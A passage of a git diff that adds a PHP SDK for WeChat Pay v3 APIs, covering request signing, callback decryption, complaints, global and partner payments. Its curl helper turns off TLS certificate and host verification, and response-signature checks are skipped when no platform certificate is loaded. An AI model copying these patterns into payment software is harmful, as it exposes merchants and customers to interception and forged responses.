$this->decryptToString($encert['ciphertext'], $encert['nonce'], $encert['associated_data']); + if (!$certificate) { + throw new Exception('微信支付平台证书解密失败'); + } + if (!file_put_contents($this->platformCertificateFilePath, $certificate)) { + throw new Exception('微信支付平台证书保存失败,可能无文件写入权限'); + } + //从证书解析公钥与序列号 + $this->platformPublicKeyInstance = openssl_x509_read($certificate); + if (!$this->platformPublicKeyInstance) { + throw new Exception("微信支付平台证书错误"); + } + $cert_info = openssl_x509_parse($certificate); + if ($cert_info && isset($cert_info['serialNumberHex'])) { + $this->platformCertificateSerial = $cert_info['serialNumberHex']; + } + $this->download_cert = true; + } + + + /** + * 请求接口并解析返回数据 + * @param string $method 请求方式 GET POST PUT + * @param string $path 请求路径 + * @param array $params 请求参数 + * @param bool $cert 是否包含平台公钥序列号 + * @return mixed + * @throws Exception + */ + public function execute(string $method, string $path, array $params = [], bool $cert = false) + { + $url = self::$GATEWAY . $path; + $body = ''; + if ($method == 'GET' || $method == 'DELETE') { + if (count($params) > 0) { + $url .= '?' . http_build_query($params); + } + } elseif(!empty($params)) { + $body = json_encode($params); + } + + $authorization = $this->getAuthorization($method, $url, $body); + $header[] = 'Accept: application/json'; + $header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization; + if ($cert) { + $header[] = 'Wechatpay-Serial: ' . $this->platformCertificateSerial; + } + if ($method == 'POST' || $method == 'PUT') { + $header[] = 'Content-Type: application/json'; + } + + [$httpCode, $header, $response] = $this->curl($method, $url, $header, $body); + $result = json_decode($response, true); + if ($httpCode >= 200 && $httpCode <= 299) { + if ($path != '/v3/certificates' && $path != '/v3/global/certificates' && !$this->checkResponseSign($response, $header)) { + throw new Exception("微信支付返回数据验签失败"); + } + return $result; + } + throw new WeChatPayException($result, $httpCode); + } + + /** + * 下载账单/图片 + * @param string $download_url 下载地址 + * @return mixed + * @throws Exception + */ + public function download(string $download_url) + { + $method = 'GET'; + $authorization = $this->getAuthorization($method, $download_url); + $header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization; + [$httpCode, $header, $response] = $this->curl($method, $download_url, $header); + if ($httpCode >= 200 && $httpCode <= 299) { + return $response; + } else { + $result = json_decode($response, true); + throw new WeChatPayException($result, $httpCode); + } + } + + /** + * 上传文件 + * @param string $path 请求路径 + * @param string $file_path 本地文件路径 + * @param string $file_name 文件名 + * @return mixed + * @throws Exception + */ + public function upload(string $path, string $file_path, string $file_name) + { + $url = self::$GATEWAY . $path; + if (!file_exists($file_path)) { + throw new Exception("文件不存在"); + } + $meta = [ + 'filename' => $file_name, + 'sha256' => hash_file("sha256", $file_path) + ]; + $meta_json = json_encode($meta); + $params = [ + 'file' => new \CURLFile($file_path, '', $file_name), + 'meta' => $meta_json + ]; + + $authorization = $this->getAuthorization('POST', $url, $meta_json); + $header[] = 'Accept: application/json'; + $header[] = 'Authorization: WECHATPAY2-SHA256-RSA2048 ' . $authorization; + [$httpCode, $header, $response] = $this->curl('POST', $url, $header, $params); + $result = json_decode($response, true); + if ($httpCode >= 200 && $httpCode <= 299) { + if (!$this->checkResponseSign($response, $header)) { + throw new Exception("微信支付返回数据验签失败"); + } + return $result; + } + throw new WeChatPayException($result, $httpCode); + } + + /** + * 返回数据验签 + * @param string $body 返回内容 + * @param string $header 返回头部 + * @return bool + * @throws Exception + */ + protected function checkResponseSign(string $body, string $header): bool + { + if (!$this->platformCertificateSerial) return true; + + if (preg_match('/Wechatpay-Signature: (.*?)\r\n/', $header, $signature)) { + $signature = $signature[1]; + } + if (preg_match('/Wechatpay-Nonce: (.*?)\r\n/', $header, $nonce)) { + $nonce = $nonce[1]; + } + if (preg_match('/Wechatpay-Timestamp: (.*?)\r\n/', $header, $timestamp)) { + $timestamp = $timestamp[1]; + } + if (preg_match('/Wechatpay-Serial: (.*?)\r\n/', $header, $serial)) { + $serial = $serial[1]; + } + + if (empty($signature)) return false; + if ($serial != $this->platformCertificateSerial) { + if (!$this->download_cert) { + $this->downloadCertificate(); + } + if ($serial != $this->platformCertificateSerial) { + throw new Exception('平台证书序列号不匹配'); + } + } + + return $this->checkSign($timestamp, $nonce, $body, $signature); + } + + /** + * 验证签名 + * @param string $timestamp 应答时间戳 + * @param string $nonce 应答随机串 + * @param string $body 应答报文主体 + * @param string $signature 应答签名 + * @return bool + */ + protected function checkSign(string $timestamp, string $nonce, string $body, string $signature): bool + { + $message = $timestamp . "\n" . $nonce . "\n" . $body . "\n"; + $result = openssl_verify($message, base64_decode($signature), $this->platformPublicKeyInstance, OPENSSL_ALGO_SHA256); + return $result === 1; + } + + /** + * 生成签名 + * @param array $arr - 待签名数组 + * @return string + */ + protected function makeSign(array $arr): string + { + $message = implode("\n", array_merge($arr, [''])); + openssl_sign($message, $sign, $this->merchantPrivateKeyInstance, OPENSSL_ALGO_SHA256); + return base64_encode($sign); + } + + /** + * 生成authorization + * @param string $method 请求方式 GET POST PUT + * @param string $url 请求URL + * @param string $body 请求内容 GET时留空 + */ + protected function getAuthorization(string $method, string $url, string $body = ''): string + { + $url_values = parse_url($url); + $url = $url_values['path'] . (isset($url_values['query']) ? ('?' . $url_values['query']) : ''); + $timestamp = (string)time(); + $nonce = $this->getNonceStr(); + $sign = $this->makeSign([$method, $url, $timestamp, $nonce, $body]); + return sprintf('mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"', $this->mchId, $nonce, $timestamp, $this->merchantCertificateSerial, $sign); + } + + /** + * 异步回调处理 + * @return array 回调解密后的数据 + * @throws Exception + */ + public function notify(): array + { + $inWechatpaySignature = $_SERVER['HTTP_WECHATPAY_SIGNATURE']; + $inWechatpayTimestamp = $_SERVER['HTTP_WECHATPAY_TIMESTAMP']; + $inWechatpaySerial = $_SERVER['HTTP_WECHATPAY_SERIAL']; + $inWechatpayNonce = $_SERVER['HTTP_WECHATPAY_NONCE']; + $inBody = file_get_contents('php://input'); + + if (empty($inBody)) { + throw new Exception('no data'); + } + if ($this->platformCertificateSerial != $inWechatpaySerial) { + throw new Exception('平台证书序列号不匹配'); + } + + // 使用平台API证书验签 + if (!$this->checkSign($inWechatpayTimestamp, $inWechatpayNonce, $inBody, $inWechatpaySignature)) { + throw new Exception('签名校验失败'); + } + + // 转换通知的JSON文本消息为PHP Array数组 + $inBodyArray = (array)json_decode($inBody, true); + // 使用PHP7的数据解构语法,从Array中解构并赋值变量 + ['resource' => [ + 'ciphertext' => $ciphertext, + 'nonce' => $nonce, + 'associated_data' => $associated_data + ]] = $inBodyArray; + // 加密文本消息解密 + $inBodyResource = $this->decryptToString($ciphertext, $nonce, $associated_data); + // 把解密后的文本转换为PHP Array数组 + // print_r($inBodyResourceArray); + return json_decode($inBodyResource, true); + } + + /** + * 回复通知 + * @param bool $isSuccess 是否成功 + * @param string|null $msg 失败原因 + */ + public function replyNotify(bool $isSuccess = true, ?string $msg = '') + { + $data = []; + if ($isSuccess) { + $data['code'] = 'SUCCESS'; + } else { + @header("HTTP/1.1 499 Error"); + $data['code'] = 'FAIL'; + $data['message'] = $msg; + } + $json = json_encode($data, JSON_UNESCAPED_UNICODE); + echo $json; + } + + + /** + * 产生随机字符串,不长于32位 + * @param int $length + * @return string 产生的随机字符串 + */ + protected function getNonceStr(int $length = 32): string + { + $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; + $str = ""; + for ($i = 0; $i < $length; $i++) { + $str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); + } + return $str; + } + + /** + * 敏感信息RSA加密 + * @param $str + * @return string|bool + */ + public function rsaEncrypt($str) + { + if (openssl_public_encrypt($str, $encrypted, $this->platformPublicKeyInstance, OPENSSL_PKCS1_OAEP_PADDING)) { + return base64_encode($encrypted); + } + return false; + } + + /** + * 敏感信息RSA解密 + * @param $str + * @return string|bool + */ + public function rsaDecrypt($str) + { + if (openssl_private_decrypt(base64_decode($str), $decrypted, $this->merchantPrivateKeyInstance, OPENSSL_PKCS1_OAEP_PADDING)) { + return $decrypted; + } + return false; + } + + /** + * 解密AEAD AES 256gcm密文 + * @param string $ciphertext AES GCM cipher text + * @param string $nonceStr AES GCM nonce + * @param string $associatedData AES GCM additional authentication data + * + * @return string|bool Decrypted string on success or FALSE on failure + * @throws Exception + */ + protected function decryptToString(string $ciphertext, string $nonceStr, string $associatedData) + { + $ciphertext = base64_decode($ciphertext); + if (strlen($ciphertext) <= 16) { + return false; + } + + if (function_exists('sodium_crypto_aead_aes256gcm_is_available') && sodium_crypto_aead_aes256gcm_is_available()) { + return sodium_crypto_aead_aes256gcm_decrypt($ciphertext, $associatedData, $nonceStr, $this->apiKey); + } + if (PHP_VERSION_ID >= 70100 && in_array('aes-256-gcm', openssl_get_cipher_methods())) { + $ctext = substr($ciphertext, 0, -16); + $authTag = substr($ciphertext, -16); + + return openssl_decrypt($ctext, 'aes-256-gcm', $this->apiKey, OPENSSL_RAW_DATA, $nonceStr, $authTag, $associatedData); + } + + throw new Exception('AEAD_AES_256_GCM需要PHP 7.1以上或者安装libsodium-php'); + } + + /** + * 发起curl请求 + * @param string $method 请求方式 GET POST PUT + * @param string $url 请求URL + * @param array $header 请求头部 + * @param null $body POST内容 + * @param int $timeout 超时时间 + * @return array [http状态码,响应头部,响应数据] + * @throws Exception + */ + protected function curl(string $method, string $url, array $header, $body = null, int $timeout = 10): array + { + $ch = curl_init(); + $curlVersion = curl_version(); + $ua = "wechatpay-php/" . self::$VERSION . " curl/" . $curlVersion['version'] . " (" . PHP_OS . "/" . php_uname('r') . ") PHP/" . PHP_VERSION; + + curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_HTTPHEADER, $header); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_USERAGENT, $ua); + curl_setopt($ch, CURLOPT_HEADER, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + if ($method == 'POST') { + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $body); + } elseif ($method == 'PUT') { + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT'); + curl_setopt($ch, CURLOPT_POSTFIELDS, $body); + } elseif ($method == 'DELETE') { + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); + } + $data = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new Exception($errmsg, 0); + } + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); + $header = substr($data, 0, $headerSize); + $body = substr($data, $headerSize); + curl_close($ch); + return [$httpCode, $header, $body]; + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/ComplainService.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/ComplainService.php new file mode 100644 index 0000000..ad722dd --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/ComplainService.php @@ -0,0 +1,190 @@ + $page_size, + 'offset' => $offset, + 'begin_date' => $begin_date, + 'end_date' => $end_date + ]; + return $this->execute('GET', $path, $params); + } + + /** + * 查询投诉单详情 + * @param string $complaint_id 投诉单号 + * @return mixed + * @throws Exception + */ + public function query(string $complaint_id) + { + $path = '/v3/merchant-service/complaints-v2/'.$complaint_id; + return $this->execute('GET', $path); + } + + /** + * 查询投诉协商历史 + * @param string $complaint_id 投诉单号 + * @return mixed + * @throws Exception + */ + public function queryHistorys(string $complaint_id) + { + $path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/negotiation-historys'; + return $this->execute('GET', $path); + } + + /** + * 创建投诉通知回调地址 + * @param string $url 通知地址 + * @return mixed + * @throws Exception + */ + public function createNotifications(string $url) + { + $path = '/v3/merchant-service/complaint-notifications'; + $params = [ + 'url' => $url + ]; + return $this->execute('POST', $path, $params); + } + + /** + * 查询投诉通知回调地址 + * @return mixed {"mchid":"商户号","url":"通知地址"} + * @throws Exception + */ + public function queryNotifications() + { + $path = '/v3/merchant-service/complaint-notifications'; + return $this->execute('GET', $path); + } + + /** + * 更新投诉通知回调地址 + * @param string $url 通知地址 + * @return mixed + * @throws Exception + */ + public function updateNotifications(string $url) + { + $path = '/v3/merchant-service/complaint-notifications'; + $params = [ + 'url' => $url + ]; + return $this->execute('PUT', $path, $params); + } + + /** + * 删除投诉通知回调地址 + * @return void + * @throws Exception + */ + public function deleteNotifications() + { + $path = '/v3/merchant-service/complaint-notifications'; + $this->execute('DELETE', $path); + } + + /** + * 回复用户 + * @param string $complaint_id 投诉单号 + * @param string $complainted_mchid 被诉商户号 + * @param string $response_content 回复内容 + * @param array $response_images 回复图片列表 + * @return void + * @throws Exception + */ + public function response(string $complaint_id, string $complainted_mchid, string $response_content, array $response_images) + { + $path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/response'; + $params = [ + 'complainted_mchid' => $complainted_mchid, + 'response_content' => $response_content, + 'response_images' => $response_images, + ]; + $this->execute('POST', $path, $params); + } + + /** + * 反馈处理完成 + * @param string $complaint_id 投诉单号 + * @param string $complainted_mchid 被诉商户号 + * @return void + * @throws Exception + */ + public function complete(string $complaint_id, string $complainted_mchid) + { + $path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/complete'; + $params = [ + 'complainted_mchid' => $complainted_mchid, + ]; + $this->execute('POST', $path, $params); + } + + /** + * 更新退款审批结果 + * @param string $complaint_id 投诉单号 + * @param array $params 请求参数 + * @return void + * @throws Exception + */ + public function updateRefundProgress(string $complaint_id, array $params) + { + $path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/update-refund-progress'; + $this->execute('POST', $path, $params); + } + + /** + * 上传反馈图片 + * @param string $file_path 文件路径 + * @param string $file_name 文件名 + * @return string + * @throws Exception + */ + public function uploadImage(string $file_path, string $file_name): string + { + $path = '/v3/merchant-service/images/upload'; + $result = $this->upload($path, $file_path, $file_name); + return $result['media_id']; + } + + /** + * 下载图片 + * @param string $media_id 媒体文件标识ID + * @return string + * @throws Exception + */ + public function getImage(string $media_id): string + { + $url = self::$GATEWAY.'/v3/merchant-service/images/'.urlencode($media_id); + return $this->download($url); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/GlobalPaymentService.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/GlobalPaymentService.php new file mode 100644 index 0000000..88b4a25 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/GlobalPaymentService.php @@ -0,0 +1,373 @@ +subMchId)) { + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + if (!empty($this->subAppId)) { + $publicParams['sub_appid'] = $this->subAppId; + } + } else { + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + } + $params = array_merge($publicParams, $params); + $params['trade_type'] = 'MICROPAY'; + return $this->execute('POST', $path, $params); + } + + /** + * NATIVE支付 + * @param array $params 下单参数 + * @return mixed {"code_url":"二维码链接"} + * @throws Exception + */ + public function nativePay(array $params){ + $path = '/v3/global/transactions/native'; + if (!empty($this->subMchId)) { + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + if (!empty($this->subAppId)) { + $publicParams['sub_appid'] = $this->subAppId; + } + } else { + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + } + $params = array_merge($publicParams, $params); + $params['trade_type'] = 'NATIVE'; + return $this->execute('POST', $path, $params); + } + + /** + * JSAPI支付 + * @param array $params 下单参数 + * @return array Jsapi支付json数据 + * @throws Exception + */ + public function jsapiPay(array $params): array + { + $path = '/v3/global/transactions/jsapi'; + if (!empty($this->subMchId)) { + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + if (!empty($this->subAppId)) { + $publicParams['sub_appid'] = $this->subAppId; + } + } else { + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + } + $params = array_merge($publicParams, $params); + $params['trade_type'] = 'JSAPI'; + $result = $this->execute('POST', $path, $params); + return $this->getJsApiParameters($result['prepay_id']); + } + + /** + * 获取JSAPI支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array json数据 + */ + private function getJsApiParameters(string $prepay_id): array + { + $params = [ + 'appId' => $this->appId, + 'timeStamp' => time().'', + 'nonceStr' => $this->getNonceStr(), + 'package' => 'prepay_id=' . $prepay_id, + ]; + $params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]); + $params['signType'] = 'RSA'; + return $params; + } + + /** + * H5支付 + * @param array $params 下单参数 + * @return mixed {"h5_url":"支付跳转链接"} + * @throws Exception + */ + public function h5Pay(array $params){ + $path = '/v3/global/transactions/mweb'; + if (!empty($this->subMchId)) { + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + if (!empty($this->subAppId)) { + $publicParams['sub_appid'] = $this->subAppId; + } + } else { + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + } + $params = array_merge($publicParams, $params); + $params['trade_type'] = 'MWEB'; + return $this->execute('POST', $path, $params); + } + + /** + * APP支付 + * @param array $params 下单参数 + * @return array APP支付json数据 + * @throws Exception + */ + public function appPay(array $params): array + { + $path = '/v3/global/transactions/app'; + if (!empty($this->subMchId)) { + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + if (!empty($this->subAppId)) { + $publicParams['sub_appid'] = $this->subAppId; + } + } else { + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + } + $params = array_merge($publicParams, $params); + $params['trade_type'] = 'APP'; + $result = $this->execute('POST', $path, $params); + return $this->getAppParameters($result['prepay_id']); + } + + /** + * 获取APP支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array + */ + private function getAppParameters(string $prepay_id): array + { + $params = [ + 'appid' => $this->appId, + 'partnerid' => $this->mchId, + 'prepayid' => $prepay_id, + 'package' => 'Sign=WXPay', + 'noncestr' => $this->getNonceStr(), + 'timestamp' => time().'', + ]; + $params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]); + return $params; + } + + /** + * 查询订单,微信订单号、商户订单号至少填一个 + * @param string|null $transaction_id 微信订单号 + * @param string|null $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function orderQuery(string $transaction_id = null, string $out_trade_no = null){ + if(!empty($transaction_id)){ + $path = '/v3/global/transactions/id/'.$transaction_id; + }elseif(!empty($out_trade_no)){ + $path = '/v3/global/transactions/out-trade-no/'.$out_trade_no; + }else{ + throw new Exception('微信支付订单号和商户订单号不能同时为空'); + } + + if (!empty($this->subMchId)) { + $params = [ + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + } else { + $params = [ + 'mchid' => $this->mchId, + ]; + } + return $this->execute('GET', $path, $params); + } + + /** + * 判断订单是否已完成 + * @param string $transaction_id 微信订单号 + * @return bool + */ + public function orderQueryResult(string $transaction_id): bool + { + try { + $data = $this->orderQuery($transaction_id); + return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND'; + } catch (Exception $e) { + return false; + } + } + + /** + * 关闭订单 + * @param string $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function closeOrder(string $out_trade_no){ + $path = '/v3/global/transactions/out-trade-no/'.$out_trade_no.'/close'; + if (!empty($this->subMchId)) { + $params = [ + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + } else { + $params = [ + 'mchid' => $this->mchId, + ]; + } + return $this->execute('POST', $path, $params); + } + + /** + * 撤销订单 + * @param string $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function reverseOrder($out_trade_no){ + $path = '/v3/global/micropay/transactions/out-trade-no/'.$out_trade_no.'/reverse'; + if (!empty($this->subMchId)) { + $params = [ + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + } else { + $params = [ + 'mchid' => $this->mchId, + ]; + } + return $this->execute('POST', $path, $params); + } + + /** + * 申请退款 + * @param array $params + * @return mixed + * @throws Exception + */ + public function refund($params){ + $path = '/v3/global/refunds'; + if (!empty($this->subMchId)) { + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + if (!empty($this->subAppId)) { + $publicParams['sub_appid'] = $this->subAppId; + } + } else { + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + } + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 查询退款 + * @param string $out_refund_no + * @return mixed + * @throws Exception + */ + public function refundQuery(string $out_refund_no){ + $path = '/v3/global/refunds/out-refund-no/'.$out_refund_no; + if (!empty($this->subMchId)) { + $params = [ + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + } else { + $params = [ + 'mchid' => $this->mchId, + ]; + } + return $this->execute('GET', $path, $params); + } + + /** + * 下载对账单 + * @param string $date + * @return mixed + * @throws Exception + */ + public function tradeBill(string $date){ + $path = '/v3/global/statements'; + if (!empty($this->subMchId)) { + $params = [ + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + } else { + $params = [ + 'mchid' => $this->mchId, + ]; + } + $params['date'] = $date; + return $this->execute('GET', $path, $params); + } + + /** + * 支付通知处理 + * @return array 支付成功通知参数 + * @throws Exception + */ + public function notify(): array + { + $data = parent::notify(); + if (!$data || !isset($data['id'])) { + throw new Exception('缺少订单号参数'); + } + if (!$this->orderQueryResult($data['id'])) { + throw new Exception('订单未完成'); + } + return $data; + } + + +} \ No newline at end of file diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/PartnerPaymentService.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/PartnerPaymentService.php new file mode 100644 index 0000000..113f39b --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/PartnerPaymentService.php @@ -0,0 +1,397 @@ + $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_appid' => $this->subAppId, + 'sub_mchid' => $this->subMchId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * JSAPI支付 + * @param array $params 下单参数 + * @return array Jsapi支付json数据 + * @throws Exception + */ + public function jsapiPay(array $params){ + $path = '/v3/pay/partner/transactions/jsapi'; + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_appid' => $this->subAppId, + 'sub_mchid' => $this->subMchId, + ]; + $params = array_merge($publicParams, $params); + $result = $this->execute('POST', $path, $params); + return $this->getJsApiParameters($result['prepay_id']); + } + + /** + * 获取JSAPI支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array json数据 + */ + private function getJsApiParameters(string $prepay_id): array + { + $params = [ + 'appId' => $this->appId, + 'timeStamp' => time().'', + 'nonceStr' => $this->getNonceStr(), + 'package' => 'prepay_id=' . $prepay_id, + ]; + $params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]); + $params['signType'] = 'RSA'; + return $params; + } + + /** + * H5支付 + * @param array $params 下单参数 + * @return mixed {"h5_url":"支付跳转链接"} + * @throws Exception + */ + public function h5Pay(array $params){ + $path = '/v3/pay/partner/transactions/h5'; + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_appid' => $this->subAppId, + 'sub_mchid' => $this->subMchId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * APP支付 + * @param array $params 下单参数 + * @return array {"prepay_id":"预支付交易会话标识"} + * @throws Exception + */ + public function appPay(array $params){ + $path = '/v3/pay/partner/transactions/app'; + $publicParams = [ + 'sp_appid' => $this->appId, + 'sp_mchid' => $this->mchId, + 'sub_appid' => $this->subAppId, + 'sub_mchid' => $this->subMchId, + ]; + $params = array_merge($publicParams, $params); + $result = $this->execute('POST', $path, $params); + return $this->getAppParameters($result['prepay_id']); + } + + /** + * 获取APP支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array + */ + private function getAppParameters(string $prepay_id): array + { + $params = [ + 'appid' => $this->appId, + 'partnerid' => $this->mchId, + 'prepayid' => $prepay_id, + 'package' => 'Sign=WXPay', + 'noncestr' => $this->getNonceStr(), + 'timestamp' => time().'', + ]; + $params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]); + return $params; + } + + /** + * 查询订单,微信订单号、商户订单号至少填一个 + * @param string|null $transaction_id 微信订单号 + * @param string|null $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function orderQuery(string $transaction_id = null, string $out_trade_no = null){ + if(!empty($transaction_id)){ + $path = '/v3/pay/partner/transactions/id/'.$transaction_id; + }elseif(!empty($out_trade_no)){ + $path = '/v3/pay/partner/transactions/out-trade-no/'.$out_trade_no; + }else{ + throw new Exception('微信支付订单号和商户订单号不能同时为空'); + } + + $params = [ + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + return $this->execute('GET', $path, $params); + } + + /** + * 判断订单是否已完成 + * @param string $transaction_id 微信订单号 + * @return bool + */ + public function orderQueryResult(string $transaction_id): bool + { + try { + $data = $this->orderQuery($transaction_id); + return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND'; + } catch (Exception $e) { + return false; + } + } + + /** + * 关闭订单 + * @param string $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function closeOrder(string $out_trade_no){ + $path = '/v3/pay/partner/transactions/out-trade-no/'.$out_trade_no.'/close'; + $params = [ + 'sp_mchid' => $this->mchId, + 'sub_mchid' => $this->subMchId, + ]; + return $this->execute('POST', $path, $params); + } + + /** + * 申请退款 + * @param array $params + * @return mixed + * @throws Exception + */ + public function refund(array $params){ + $path = '/v3/refund/domestic/refunds'; + $publicParams = [ + 'sub_mchid' => $this->subMchId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 查询退款 + * @param string $out_refund_no + * @return mixed + * @throws Exception + */ + public function refundQuery(string $out_refund_no){ + $path = '/v3/refund/domestic/refunds/'.$out_refund_no; + $params = [ + 'sub_mchid' => $this->subMchId, + ]; + return $this->execute('GET', $path, $params); + } + + /** + * 申请交易账单 + * @param array $params + * @return mixed + * @throws Exception + */ + public function tradeBill(array $params){ + $path = '/v3/bill/tradebill'; + $publicParams = [ + 'sub_mchid' => $this->subMchId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('GET', $path, $params); + } + + /** + * 申请资金账单 + * @param array $params + * @return mixed + * @throws Exception + */ + public function fundflowBill(array $params){ + $path = '/v3/bill/fundflowbill'; + return $this->execute('GET', $path, $params); + } + + /** + * 申请单个子商户资金账单 + * @param array $params + * @return mixed + * @throws Exception + */ + public function subMerchantFundflowBill(array $params){ + $path = '/v3/bill/sub-merchant-fundflowbill'; + $publicParams = [ + 'sub_mchid' => $this->subMchId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('GET', $path, $params); + } + + /** + * 支付通知处理 + * @return array 支付成功通知参数 + * @throws Exception + */ + public function notify(): array + { + $data = parent::notify(); + if (!$data || !isset($data['transaction_id']) && !isset($data['combine_out_trade_no'])) { + throw new Exception('缺少订单号参数'); + } + if (!isset($data['combine_out_trade_no']) && !$this->orderQueryResult($data['transaction_id'])) { + throw new Exception('订单未完成'); + } + return $data; + } + + + /** + * 合单Native支付 + * @param array $params 下单参数 + * @return mixed {"code_url":"二维码链接"} + * @throws Exception + */ + public function combineNativePay(array $params){ + $path = '/v3/combine-transactions/native'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId; + if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId; + } + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 合单JSAPI支付 + * @param array $params 下单参数 + * @return array Jsapi支付json数据 + * @throws Exception + */ + public function combineJsapiPay(array $params): array + { + $path = '/v3/combine-transactions/jsapi'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId; + if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId; + } + $params = array_merge($publicParams, $params); + $result = $this->execute('POST', $path, $params); + return $this->getJsApiParameters($result['prepay_id']); + } + + /** + * 合单H5支付 + * @param array $params 下单参数 + * @return mixed {"h5_url":"支付跳转链接"} + * @throws Exception + */ + public function combineH5Pay(array $params){ + $path = '/v3/combine-transactions/h5'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId; + if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId; + } + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 合单APP支付 + * @param array $params 